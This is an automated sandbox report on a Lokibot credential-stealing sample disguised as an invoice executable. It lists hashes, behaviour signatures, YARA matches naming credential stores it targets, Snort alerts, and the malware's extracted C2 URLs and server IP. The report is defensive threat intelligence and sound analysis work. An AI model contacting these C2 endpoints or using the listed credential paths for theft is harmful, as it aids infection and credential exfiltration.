Edit tour

Windows Analysis Report
INV.2022LB0362 FORM CO (2).exe

Overview

General Information

Sample Name:	INV.2022LB0362 FORM CO (2).exe
Analysis ID:	756310
MD5:	baed30aea51e6000571219633aa745b0
SHA1:	d7e3b155c00245a7f867dd2fb4c06cb7be6ec3f7
SHA256:	57520e51bb0820741b7883926800223886c491a8a5ddd517a49b0e2cc752fb18
Tags:	exeLoki
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Yara detected Lokibot

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected aPLib compressed binary

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Detected potential crypto function

Yara detected Credential Stealer

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

INV.2022LB0362 FORM CO (2).exe (PID: 6092 cmdline: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe MD5: BAED30AEA51E6000571219633AA745B0)

INV.2022LB0362 FORM CO (2).exe (PID: 2240 cmdline: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe MD5: BAED30AEA51E6000571219633AA745B0)

INV.2022LB0362 FORM CO (2).exe (PID: 5164 cmdline: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe MD5: BAED30AEA51E6000571219633AA745B0)

INV.2022LB0362 FORM CO (2).exe (PID: 6132 cmdline: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe MD5: BAED30AEA51E6000571219633AA745B0)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://sempersim.su/gm11/fre.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x180c8:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x5493:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13cd7:$des3: 68 03 66 00 00 0x180c8:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x18194:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x37f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x32e90:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x2024f:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x2ea93:$des3: 68 03 66 00 00 0x32e90:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x32f5c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000003.00000002.506514782.0000000001238000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.259503560.0000000002C1F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000000.255040267.0000000000401000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x43bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x510a8:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3e473:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x4ccb7:$des3: 68 03 66 00 00 0x510a8:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x51174:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x2dd9c:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x570a6:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0x155d18:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x299d:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x2ef38:$s1: http:// 0x326f3:$s1: http:// 0x3314c:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x2ef40:$s2: https:// 0x2ef38:$f1: http:// 0x326f3:$f1: http:// 0x2ef40:$f2: https://
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x315f6:$f1: FileZilla\recentservers.xml 0x31636:$f2: FileZilla\sitemanager.xml 0x2f8a6:$b2: Mozilla\Firefox\Profiles 0x2f610:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2f7ba:$s4: logins.json 0x30664:$s6: wand.dat 0x2f0e4:$a1: username_value 0x2f0d4:$a2: password_value 0x2f71f:$a3: encryptedUsername 0x2f78c:$a3: encryptedUsername 0x2f732:$a4: encryptedPassword 0x2f7a0:$a4: encryptedPassword
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x324b0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x1f86f:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x2ee74:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x2f0bc:$a2: last_compatible_version
0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x2e0b3:$des3: 68 03 66 00 00 0x324b0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x3257c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 43 entries

Snort Signatures

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249705802024318 11/30/22-00:54:20.168790
SID:	2024318
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249702802021641 11/30/22-00:54:14.871390
SID:	2021641
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249738802024313 11/30/22-00:55:23.450513
SID:	2024313
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249734802825766 11/30/22-00:55:16.065951
SID:	2825766
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497272025483 11/30/22-00:55:04.982566
SID:	2025483
Source Port:	80
Destination Port:	49727
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249741802024313 11/30/22-00:55:29.247109
SID:	2024313
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249701802825766 11/30/22-00:54:12.581436
SID:	2825766
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249749802025381 11/30/22-00:55:43.976237
SID:	2025381
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249759802825766 11/30/22-00:56:01.042444
SID:	2825766
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249738802024318 11/30/22-00:55:23.450513
SID:	2024318
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249735802021641 11/30/22-00:55:17.863854
SID:	2021641
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249705802024313 11/30/22-00:54:20.168790
SID:	2024313
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249741802024318 11/30/22-00:55:29.247109
SID:	2024318
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 95.213.216.202 - Destination IP: 192.168.2.3

Timestamp:	95.213.216.202192.168.2.380497232025483 11/30/22-00:54:57.894669
SID:	2025483
Source Port:	80
Destination Port:	49723
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249752802025381 11/30/22-00:55:49.378987
SID:	2025381
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249716802025381 11/30/22-00:54:43.829219
SID:	2025381
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249707802021641 11/30/22-00:54:24.716724
SID:	2021641
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249757802025381 11/30/22-00:55:58.948901
SID:	2025381
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249730802021641 11/30/22-00:55:08.823725
SID:	2021641
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.861416532014169 11/30/22-00:55:12.379224
SID:	2014169
Source Port:	61416
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET DNS Query for .su TLD (Soviet Union) Often Malware Related - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860088532014169 11/30/22-00:55:21.529314
SID:	2014169
Source Port:	60088
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249713802024313 11/30/22-00:54:37.979213
SID:	2024313
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

Timestamp:	192.168.2.395.213.216.20249726802825766 11/30/22-00:55:01.673863
SID:	2825766
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 95.213.216.202

